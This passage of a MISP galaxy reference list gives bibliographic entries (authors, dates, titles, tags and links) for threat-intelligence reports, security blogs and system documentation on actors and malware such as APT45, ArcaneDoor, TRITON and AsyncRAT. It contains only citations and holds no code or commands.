Taylor Long, Jeff Johnson, Alice Revelli, Fred Plan, Michael Barnhart. (2024, July 25). APT45: North Korea's Digital Military Machine. Retrieved July 26, 2024.

The tag is: *misp-galaxy:references="Mandiant APT45 July 25 2024"*

Table 19397. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt45-north-korea-digital-military-machine

NSA APT5 Citrix Threat Hunting December 2022

National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="NSA APT5 Citrix Threat Hunting December 2022"*

Table 19398. Table References

Links
https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF

Medium April 20 2024

Rakesh Krishnan. (2024, April 20). APT73-ERALEIG NEWS UNVEILING NEW RANSOMWARE GROUP. Retrieved April 25, 2024.

The tag is: *misp-galaxy:references="Medium April 20 2024"*

Table 19399. Table References

Links
https://rakeshkrish.medium.com/apt73-eraleig-news-unveiling-new-ransomware-group-55aec3e873ff

ASEC PebbleDash December 21 2021

ASEC. (2021, December 21). APT Attack Cases of Kimsuky Group (PebbleDash). Retrieved February 10, 2025.

The tag is: *misp-galaxy:references="ASEC PebbleDash December 21 2021"*

Table 19400. Table References

Links
https://asec.ahnlab.com/en/30022/

welivesecurity_apt-c-23

Stefanko, L. (2020, September 30). APT-C-23 group evolves its Android spyware. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="welivesecurity_apt-c-23"*

Table 19401. Table References

Links
https://web.archive.org/web/20201123042131/www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/

QiAnXin APT-C-36 Feb2019

QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.

The tag is: *misp-galaxy:references="QiAnXin APT-C-36 Feb2019"*

Table 19402. Table References

Links
https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/

360 Machete Sep 2020

kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.

The tag is: *misp-galaxy:references="360 Machete Sep 2020"*

Table 19403. Table References

Links
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/

Cycraft Chimera April 2020

Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..

The tag is: *misp-galaxy:references="Cycraft Chimera April 2020"*

Table 19404. Table References

Links

https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf

CISA IT Service Providers

CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.

The tag is: *misp-galaxy:references="CISA IT Service Providers"*

Table 19405. Table References

Links
https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers

Securelist GCMAN

Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="Securelist GCMAN"*

Table 19406. Table References

Links
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

Proofpoint TA459 April 2017

Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Proofpoint TA459 April 2017"*

Table 19407. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

Kaspersky ToddyCat June 2022

Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.

The tag is: *misp-galaxy:references="Kaspersky ToddyCat June 2022"*

Table 19408. Table References

Links
https://securelist.com/toddycat/106799/

Securelist APT Trends April 2018

Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021.

The tag is: *misp-galaxy:references="Securelist APT Trends April 2018"*

Table 19409. Table References

Links
https://securelist.com/apt-trends-report-q1-2018/85280/

Kaspersky APT Trends Q1 2020

Global Research and Analysis Team. (2020, April 30). APT trends report Q1 2020. Retrieved September 19, 2022.

The tag is: *misp-galaxy:references="Kaspersky APT Trends Q1 2020"*

Table 19410. Table References

Links
https://securelist.com/apt-trends-report-q1-2020/96826/

Kaspersky APT Trends Q1 April 2021

GReAT . (2021, April 27). APT trends report Q1 2021. Retrieved June 6, 2022.

The tag is: *misp-galaxy:references="Kaspersky APT Trends Q1 April 2021"*

Table 19411. Table References

Links
https://securelist.com/apt-trends-report-q1-2021/101967

Securelist APT Trends Q2 2017

Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Securelist APT Trends Q2 2017"*

Table 19412. Table References

Links
https://securelist.com/apt-trends-report-q2-2017/79332/

Wired ArcaneDoor April 24 2024

Andy Greenberg. (2024, April 24). ‘ArcaneDoor’ Cyberspies Hacked Cisco Firewalls to Access Government Networks. Retrieved May 6, 2024.

The tag is: *misp-galaxy:references="Wired ArcaneDoor April 24 2024"*

Table 19413. Table References

Links
https://www.wired.com/story/arcanedoor-cyberspies-hacked-cisco-firewalls-to-access-government-networks/

Cisco ArcaneDoor 2024

Cisco Talos. (2024, April 24). ArcaneDoor - New espionage-focused campaign found targeting perimeter network devices. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="Cisco ArcaneDoor 2024"*

Table 19414. Table References

Links
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/

Cisco Talos ArcaneDoor April 24 2024

Cisco Talos. (2024, April 24). ArcaneDoor - New espionage-focused campaign found targeting perimeter network devices. Retrieved May 6, 2024.

The tag is: *misp-galaxy:references="Cisco Talos ArcaneDoor April 24 2024"*

Table 19415. Table References

Links
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/

Arctic Wolf

Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.

The tag is: *misp-galaxy:references="Arctic Wolf"*

Table 19416. Table References

Links
https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/

Wald0 Guide to GPOs

Robbins, A. (2018, April 2). A Red Teamer's Guide to GPOs and OUs. Retrieved March 5, 2019.

The tag is: *misp-galaxy:references="Wald0 Guide to GPOs"*

Table 19417. Table References

Links
https://wald0.com/?p=179

Lau 2011

Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.

The tag is: *misp-galaxy:references="Lau 2011"*

Table 19418. Table References

Links
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion

Krebs-Booter

Brian Krebs. (2016, October 27). Are the Days of "Booter" Services Numbered?. Retrieved May 15, 2017.

The tag is: *misp-galaxy:references="Krebs-Booter"*

Table 19419. Table References

Links
https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/

RSA Forfiles Aug 2017

Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.

The tag is: *misp-galaxy:references="RSA Forfiles Aug 2017"*

Table 19420. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe

FireEye Respond Webinar July 2017

Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.

The tag is: *misp-galaxy:references="FireEye Respond Webinar July 2017"*

Table 19421. Table References

Links
https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html

Browser-updates

Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="Browser-updates"*

Table 19422. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates

Sekoia.io AridViper

Threat & Detection Research Team. (2023, October 26). AridViper, an intrusion set allegedly associated with Hamas. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="Sekoia.io AridViper"*

Table 19423. Table References

Links
https://blog.sekoia.io/aridviper-an-intrusion-set-allegedly-associated-with-hamas/

Proofpoint April 16 2025

Saher Naumaan; Mark Kelly; Greg Lesnewich; Josh Miller; The Proofpoint Threat Research Team. (2025, April 16). Around the World in 90 Days State-Sponsored Actors Try ClickFix . Retrieved May 6, 2025.

The tag is: *misp-galaxy:references="Proofpoint April 16 2025"*

Table 19424. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix

TechNet Arp

Microsoft. (n.d.). Arp. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="TechNet Arp"*

Table 19425. Table References

Links
https://technet.microsoft.com/en-us/library/bb490864.aspx

Cisco ARP Poisoning Mitigation 2016

King, J., Lauerman, K. (2016, January 22). ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Technique. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Cisco ARP Poisoning Mitigation 2016"*

Table 19426. Table References

Links
https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html

ASEC Emotet 2017

ASEC. (2017). ASEC REPORT VOL.88. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="ASEC Emotet 2017"*

Table 19427. Table References

Links
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.88_ENG.pdf

ASERT Seven Pointed Dagger Aug 2015

ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="ASERT Seven Pointed Dagger Aug 2015"*

Table 19428. Table References

Links
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf

Securelist Sofacy Feb 2018

Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.

The tag is: *misp-galaxy:references="Securelist Sofacy Feb 2018"*

Table 19429. Table References

Links
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/

Sophos News April 26 2020

Sophos. (2020, April 26). "Asnarok" Trojan targets firewalls. Retrieved November 8, 2024.

The tag is: *misp-galaxy:references="Sophos News April 26 2020"*

Table 19430. Table References

Links
https://news.sophos.com/en-us/2020/04/26/asnarok/

THE FINANCIAL TIMES LTD 2019.

THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="THE FINANCIAL TIMES LTD 2019."*

Table 19431. Table References

Links
https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6

Aspnet_Compiler.exe - LOLBAS Project

LOLBAS. (2021, September 26). Aspnet_Compiler.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Aspnet_Compiler.exe - LOLBAS Project"*

Table 19432. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/

Mandiant UNC2452 APT29 April 2022

Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.

The tag is: *misp-galaxy:references="Mandiant UNC2452 APT29 April 2022"*

Table 19433. Table References

Links
https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29

Microsoft AssemblyLoad

Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="Microsoft AssemblyLoad"*

Table 19434. Table References

Links
https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load

Kubernetes Assigning Pods to Nodes

Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="Kubernetes Assigning Pods to Nodes"*

Table 19435. Table References

Links
https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/

Microsoft Assoc Oct 2017

Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.

The tag is: *misp-galaxy:references="Microsoft Assoc Oct 2017"*

Table 19436. Table References

Links
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc

Rhino Security Labs Enumerating AWS Roles

Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through 'AssumeRole'. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Rhino Security Labs Enumerating AWS Roles"*

Table 19437. Table References

Links
https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration

Cybereason Astaroth Feb 2019

Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Cybereason Astaroth Feb 2019"*

Table 19438. Table References

Links
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research

spamhaus-malvertising

Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="spamhaus-malvertising"*

Table 19439. Table References

Links
https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/

Lua Proofpoint Sunseed

Raggi, Michael. Cass, Zydeca. The Proofpoint Threat Research Team.. (2022, March 1). Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Lua Proofpoint Sunseed"*

Table 19440. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails

Microsoft APC

Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.

The tag is: *misp-galaxy:references="Microsoft APC"*

Table 19441. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx

Medium February 08 2023

Hack sydney. (2023, February 8). AsyncRAT: Analysing the Three Stages of Execution. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Medium February 08 2023"*

Table 19442. Table References

Links
https://medium.com/@hcksyd/asyncrat-analysing-the-three-stages-of-execution-378b343216bf

AsyncRAT Crusade: Detections and Defense | Splunk

Splunk-Blogs. (n.d.). AsyncRAT Crusade: Detections and Defense. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="AsyncRAT Crusade: Detections and Defense | Splunk"*

Table 19443. Table References

Links
https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html

TechNet At

Microsoft. (n.d.). At. Retrieved April 28, 2016.

The tag is: *misp-galaxy:references="TechNet At"*

Table 19444. Table References

Links
https://technet.microsoft.com/en-us/library/bb490866.aspx

Die.net Linux at Man Page

Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Die.net Linux at Man Page"*

Table 19445. Table References

Links
https://linux.die.net/man/1/at

Linux at

IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022.

The tag is: *misp-galaxy:references="Linux at"*

Table 19446. Table References

Links
https://man7.org/linux/man-pages/man1/at.1p.html

PWC Pirpi Scanbox

Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.

The tag is: *misp-galaxy:references="PWC Pirpi Scanbox"*

Table 19447. Table References

Links
http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html

Atbroker.exe - LOLBAS Project

LOLBAS. (2018, May 25). Atbroker.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Atbroker.exe - LOLBAS Project"*

Table 19448. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Atbroker/

ESET Attor Oct 2019

Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="ESET Attor Oct 2019"*

Table 19449. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf

LogRhythm WannaCry

Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved December 8, 2024.

The tag is: *misp-galaxy:references="LogRhythm WannaCry"*

Table 19450. Table References

Links
https://web.archive.org/web/20230522041200/https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/

Malwarebytes Dyreza November 2015

hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="Malwarebytes Dyreza November 2015"*

Table 19451. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/

At.exe - LOLBAS Project

LOLBAS. (2019, September 20). At.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="At.exe - LOLBAS Project"*

Table 19452. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/At/

ENSIL AtomBombing Oct 2016

Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.

The tag is: *misp-galaxy:references="ENSIL AtomBombing Oct 2016"*

Table 19453. Table References

Links
https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows

SentinelOne 5 3 2023

Phil Stokes. (2023, May 3). Atomic Stealer . Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne 5 3 2023"*

Table 19454. Table References

Links
https://www.sentinelone.com/blog/atomic-stealer-threat-actor-spawns-second-variant-of-macos-malware-sold-on-telegram/

Malwarebytes 1 10 2024

Jerome Segura. (2024, January 10). Atomic Stealer rings in the new year with updated version . Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="Malwarebytes 1 10 2024"*

Table 19455. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2024/01/atomic-stealer-rings-in-the-new-year-with-updated-version

FireEye TRITON 2018

Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye TRITON 2018"*

Table 19456. Table References

Links
https://web.archive.org/web/20200618231942/https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-triton-and-tristation.html

The DFIR Report Truebot June 12 2023

The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved June 15, 2023.

The tag is: *misp-galaxy:references="The DFIR Report Truebot June 12 2023"*

Table 19457. Table References

Links
https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/

DFIR Report Trickbot June 2023

The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.

The tag is: *misp-galaxy:references="DFIR Report Trickbot June 2023"*

Table 19458. Table References

Links
https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/

att_def_ps_logging

Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.

The tag is: *misp-galaxy:references="att_def_ps_logging"*

Table 19459. Table References

Links
https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/

Attack chain leads to XWORM and AGENTTESLA | Elastic

Elastic Blog. (2023, April 7). Attack chain leads to XWORM and AGENTTESLA. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Attack chain leads to XWORM and AGENTTESLA | Elastic"*

Table 19460. Table References

Links
https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla

Intezer TeamTNT September 2020

Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Intezer TeamTNT September 2020"*

Table 19461. Table References

Links
https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/

Metcalf 2015

Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.

The tag is: *misp-galaxy:references="Metcalf 2015"*

Table 19462. Table References

Links
http://adsecurity.org/?p=1275

Cisco Blog Legacy Device Attacks

Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Cisco Blog Legacy Device Attacks"*

Table 19463. Table References

Links
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

FireEye TRITON 2017

Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework "TRITON" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="FireEye TRITON 2017"*

Table 19464. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

FireEye TRITON Dec 2017

Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational

Disruption to Critical Infrastructure. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="FireEye TRITON Dec 2017"*

Table 19465. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Forbes GitHub Creds

Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Forbes GitHub Creds"*

Table 19466. Table References

Links
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196

GitHub Cloud Service Credentials

Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.

The tag is: *misp-galaxy:references="GitHub Cloud Service Credentials"*

Table 19467. Table References

Links
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/

Unit 42 Unsecured Docker Daemons

Chen, J.. (2020, January 29). Attacker’s Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Unit 42 Unsecured Docker Daemons"*

Table 19468. Table References

Links
https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/

Proofpoint June 9 2025

The Proofpoint Threat Research Team. (2025, June 9). Attackers Unleash TeamFiltration Account Takeover Campaign (UNK_SneakyStrike) Leverages Popular Pentesting Tool . Retrieved June 16, 2025.

The tag is: *misp-galaxy:references="Proofpoint June 9 2025"*

Table 19469. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign

Talos Roblox Scam 2023

Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Talos Roblox Scam 2023"*

Table 19470. Table References

Links
https://blog.talosintelligence.com/roblox-scam-overview/

Black Hills Attacking Exchange MailSniper, 2016

Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Black Hills Attacking Exchange MailSniper, 2016"*

Table 19471. Table References

Links
https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/

SANS Attacking Kerberos Nov 2014

Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.

The tag is: *misp-galaxy:references="SANS Attacking Kerberos Nov 2014"*

Table 19472. Table References

Links
https://redsiege.com/kerberoast-slides

NetSPI SQL Server CLR

Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="NetSPI SQL Server CLR"*

Table 19473. Table References

Links
https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/

Mandiant FIN5 GrrCON Oct 2016

Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.

The tag is: *misp-galaxy:references="Mandiant FIN5 GrrCON Oct 2016"*

Table 19474. Table References

Links
https://www.youtube.com/watch?v=fevGZs0EQu8

Attacking VNC Servers PentestLab

Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="Attacking VNC Servers PentestLab"*

Table 19475. Table References

Links
https://pentestlab.blog/2012/10/30/attacking-vnc-servers/

Talos Template Injection July 2017

Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.

The tag is: *misp-galaxy:references="Talos Template Injection July 2017"*

Table 19476. Table References

Links
https://blog.talosintelligence.com/2017/07/template-injection.html

Lotus Blossom Dec 2015

Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.

The tag is: *misp-galaxy:references="Lotus Blossom Dec 2015"*

Table 19477. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/

Symantec Attacks Against Government Sector

Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Symantec Attacks Against Government Sector"*

Table 19478. Table References

Links
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf

Aqua Security Cloud Native Threat Report June 2021

Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.

The tag is: *misp-galaxy:references="Aqua Security Cloud Native Threat Report June 2021"*

Table 19479. Table References

Links
https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation

CERT-FR PYSA April 2020

CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021.

The tag is: *misp-galaxy:references="CERT-FR PYSA April 2020"*

Table 19480. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf

InsiderThreat NTFS EA Oct 2017

Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes – File System Attacks. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="InsiderThreat NTFS EA Oct 2017"*

Table 19481. Table References

Links
https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks

Microsoft ASR Obfuscation

Microsoft. (2023, February 22). Attack surface reduction (ASR) rules reference: Block execution of potentially obfuscated scripts. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Microsoft ASR Obfuscation"*

Table 19482. Table References

Links
https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference#block-execution-of-potentially-obfuscated-scripts

Obfuscated scripts

Microsoft. (2024, March 4). Attack surface reduction rules reference. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="Obfuscated scripts"*

Table 19483. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-execution-of-potentially-obfuscated-scripts

Sophos News August 27 2024

Andreas Klopsch. (2024, August 27). Attack tool update impairs Windows computers. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Sophos News August 27 2024"*

Table 19484. Table References

Links
https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/

TrendMicro Msiexec Feb 2018

Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.

The tag is: *misp-galaxy:references="TrendMicro Msiexec Feb 2018"*

Table 19485. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/

GitHub ATTACK Empire

Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.

The tag is: *misp-galaxy:references="GitHub ATTACK Empire"*

Table 19486. Table References

Links
https://github.com/dstepanic/attck_empire

lambert systemd 2022

Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.

The tag is: *misp-galaxy:references="lambert systemd 2022"*

Table 19487. Table References

Links
https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/

TechNet Credential Theft

Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="TechNet Credential Theft"*

Table 19488. Table References

Links
https://technet.microsoft.com/en-us/library/dn535501.aspx

Microsoft attrib 2023

Xelu86, et al. (2023, September 25). attrib. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="Microsoft attrib 2023"*

Table 19489. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib

AcidRain State Department 2022

